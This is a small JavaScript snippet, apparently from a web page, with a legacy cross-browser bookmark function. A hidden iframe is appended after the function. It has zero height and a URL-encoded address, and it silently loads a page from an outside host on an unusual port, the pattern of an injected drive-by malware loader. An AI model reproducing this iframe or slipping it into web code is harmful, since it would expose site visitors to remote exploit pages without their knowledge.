function bookmark(){
var title=document.title
var url=document.location.href
if (window.sidebar) window.sidebar.addPanel(title, url,"");
else if( window.opera && window.print ){
var mbm = document.createElement('a');
mbm.setAttribute('rel','sidebar');
mbm.setAttribute('href',url);
mbm.setAttribute('title',title);
mbm.click();}
else if( document.all ) window.external.AddFavorite( url, title);
}
<iframe src=http://%6B%6E33%2E6%3600.%6F%72g:%388%33%32/GwN1/index.html width=100 height=0>